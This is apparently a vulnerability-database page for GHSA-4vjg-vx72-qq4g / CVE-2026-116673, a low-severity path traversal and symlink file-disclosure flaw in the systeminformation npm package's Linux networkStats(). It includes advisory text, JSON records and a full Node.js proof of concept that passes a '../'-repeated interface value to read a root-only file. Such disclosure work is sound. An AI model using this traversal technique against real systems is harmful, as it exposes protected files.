Vulnerability-Lookup

GHSA-4VJG-VX72-QQ4G

Vulnerability from github – Published: 2026-10-28 21:13 – Updated: 2026-10-28 21:13

Summary

systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net

Details

Summary

On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.

Details

The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.

The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.

PoC

Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:

mkdir si-netstats-repro
cd si-netstats-repro
npm init -y
npm install systeminformation@5.33.13

Save the following as poc.cjs in that directory, then run sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = `/tmp/si-netstats-${process.pid}`;
const secret = `/root/si-netstats-secret-${process.pid}`;
const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;
const fixtureCode = `
  const fs = require('node:fs');
  const root = process.env.SI_FIXTURE_ROOT;
  const secret = process.env.SI_SECRET;
  fs.mkdirSync(root + '/statistics', { recursive: true });
  for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {
    fs.writeFileSync(root + '/statistics/' + name, '0\\n');
  }
  fs.symlinkSync(secret, root + '/operstate');
`;

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      `SI_FIXTURE_ROOT=${root}`,
      `SI_SECRET=${secret}`,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }
    if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Expected result:

{
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

Impact

The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.

Severity

3.3 (Low)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "systeminformation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.33.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116673"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T21:13:50Z",
    "nvd_published_at": "2026-10-27T17:16:59Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nOn Linux, `systeminformation@5.33.13` builds `/sys/class/net/\u003ciface\u003e` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.\n\n### Details\n\nThe strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync(\u0027/sys/class/net/\u0027 + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.\n\nThe proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file.\n\n### PoC\n\nUse a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:\n\n```sh\nmkdir si-netstats-repro\ncd si-netstats-repro\nnpm init -y\nnpm install systeminformation@5.33.13\n```\n\nSave the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`:\n\n```js\n\u0027use strict\u0027;\n\nconst fs = require(\u0027node:fs\u0027);\nconst { execFileSync } = require(\u0027node:child_process\u0027);\nconst si = require(\u0027systeminformation\u0027);\n\nconst root = `/tmp/si-netstats-${process.pid}`;\nconst secret = `/root/si-netstats-secret-${process.pid}`;\nconst marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`;\nconst fixtureCode = `\n  const fs = require(\u0027node:fs\u0027);\n  const root = process.env.SI_FIXTURE_ROOT;\n  const secret = process.env.SI_SECRET;\n  fs.mkdirSync(root + \u0027/statistics\u0027, { recursive: true });\n  for (const name of [\u0027rx_bytes\u0027, \u0027tx_bytes\u0027, \u0027rx_dropped\u0027, \u0027rx_errors\u0027, \u0027tx_dropped\u0027, \u0027tx_errors\u0027]) {\n    fs.writeFileSync(root + \u0027/statistics/\u0027 + name, \u00270\\\\n\u0027);\n  }\n  fs.symlinkSync(secret, root + \u0027/operstate\u0027);\n`;\n\n(async () =\u003e {\n  try {\n    fs.writeFileSync(secret, marker + \u0027\\\\n\u0027, { mode: 0o600 });\n    fs.chmodSync(secret, 0o600);\n\n    execFileSync(\u0027runuser\u0027, [\n      \u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027env\u0027,\n      `SI_FIXTURE_ROOT=${root}`,\n      `SI_SECRET=${secret}`,\n      process.execPath, \u0027-e\u0027, fixtureCode\n    ], { stdio: \u0027inherit\u0027 });\n\n    let nobodyCouldRead = true;\n    try {\n      execFileSync(\u0027runuser\u0027, [\u0027-u\u0027, \u0027nobody\u0027, \u0027--\u0027, \u0027cat\u0027, secret], { stdio: \u0027ignore\u0027 });\n    } catch {\n      nobodyCouldRead = false;\n    }\n    if (nobodyCouldRead) throw new Error(\u0027negative control failed: nobody read the marker\u0027);\n\n    const iface = \u0027../\u0027.repeat(24) + root.slice(1);\n    const rows = await si.networkStats(iface);\n    const returned = String(rows[0]?.operstate ?? \u0027\u0027).trim();\n    const success = returned === marker;\n\n    console.log(JSON.stringify({\n      nobodyCouldRead,\n      libraryReturnedRootOnlyMarker: success,\n      returnedOperstate: returned\n    }, null, 2));\n\n    if (!success) process.exitCode = 1;\n  } finally {\n    fs.rmSync(root, { recursive: true, force: true });\n    fs.rmSync(secret, { force: true });\n  }\n})().catch((error) =\u003e {\n  console.error(error);\n  process.exitCode = 1;\n});\n```\n\nExpected result:\n\n```json\n{\n  \"nobodyCouldRead\": false,\n  \"libraryReturnedRootOnlyMarker\": true,\n  \"returnedOperstate\": \"SYNTHETIC_ROOT_ONLY_MARKER_\u003cpid\u003e\"\n}\n```\n\n### Impact\n\nThe demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.",
  "id": "GHSA-4vjg-vx72-qq4g",
  "modified": "2026-10-28T21:13:50Z",
  "published": "2026-10-28T21:13:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116673"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sebhildebrandt/systeminformation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net"
}

CVE-2026-116673 (GCVE-0-2026-116673)

Vulnerability from cvelistv5 – Published: 2026-10-27 16:38 – Updated: 2026-10-28 16:15

Title

systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net

Summary

systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/<iface> paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14.

Severity

3.3 (Low)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-28 14:34 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 8034 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/sebhildebrandt/systeminformati…	x_refsource_CONFIRM
https://github.com/sebhildebrandt/systeminformati…	x_refsource_MISC
https://github.com/sebhildebrandt/systeminformati…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
sebhildebrandt	systeminformation	Affected: < 5.33.14

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-116673",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-28T14:34:17.124091Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-28T16:15:47.864Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "systeminformation",
          "vendor": "sebhildebrandt",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.33.14"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "systeminformation is a System and OS information library for node.js. Prior to 5.33.14, the Linux networkStats(iface) implementation uses the caller-supplied interface value in an fs.existsSync() check and to build /sys/class/net/\u003ciface\u003e paths, including the operstate path, without verifying that it is a single interface-name segment or that the resolved path remains under /sys/class/net. An attacker who can control iface and create a directory containing symlinked statistics files can use parent-directory components and symlink traversal to make the API return the first line of a file readable by the Node.js process. The package does not expose a network endpoint, and the demonstrated scenario requires local filesystem setup. This issue is fixed in version 5.33.14."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-59",
              "description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-27T16:38:15.558Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-4vjg-vx72-qq4g"
        },
        {
          "name": "https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sebhildebrandt/systeminformation/commit/8d294b3139fec654a912969ac898037578a218cd"
        },
        {
          "name": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.33.14"
        }
      ],
      "source": {
        "advisory": "GHSA-4vjg-vx72-qq4g",
        "discovery": "UNKNOWN"
      },
      "title": "systeminformation: Path traversal in Linux networkStats() allows symlink-based file disclosure outside /sys/class/net"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-116673",
    "datePublished": "2026-10-27T16:38:15.558Z",
    "dateReserved": "2026-10-26T20:00:59.828Z",
    "dateUpdated": "2026-10-28T16:15:47.864Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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GHSA-4VJG-VX72-QQ4G

Summary

Details

PoC

Impact

CVE-2026-116673 (GCVE-0-2026-116673)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour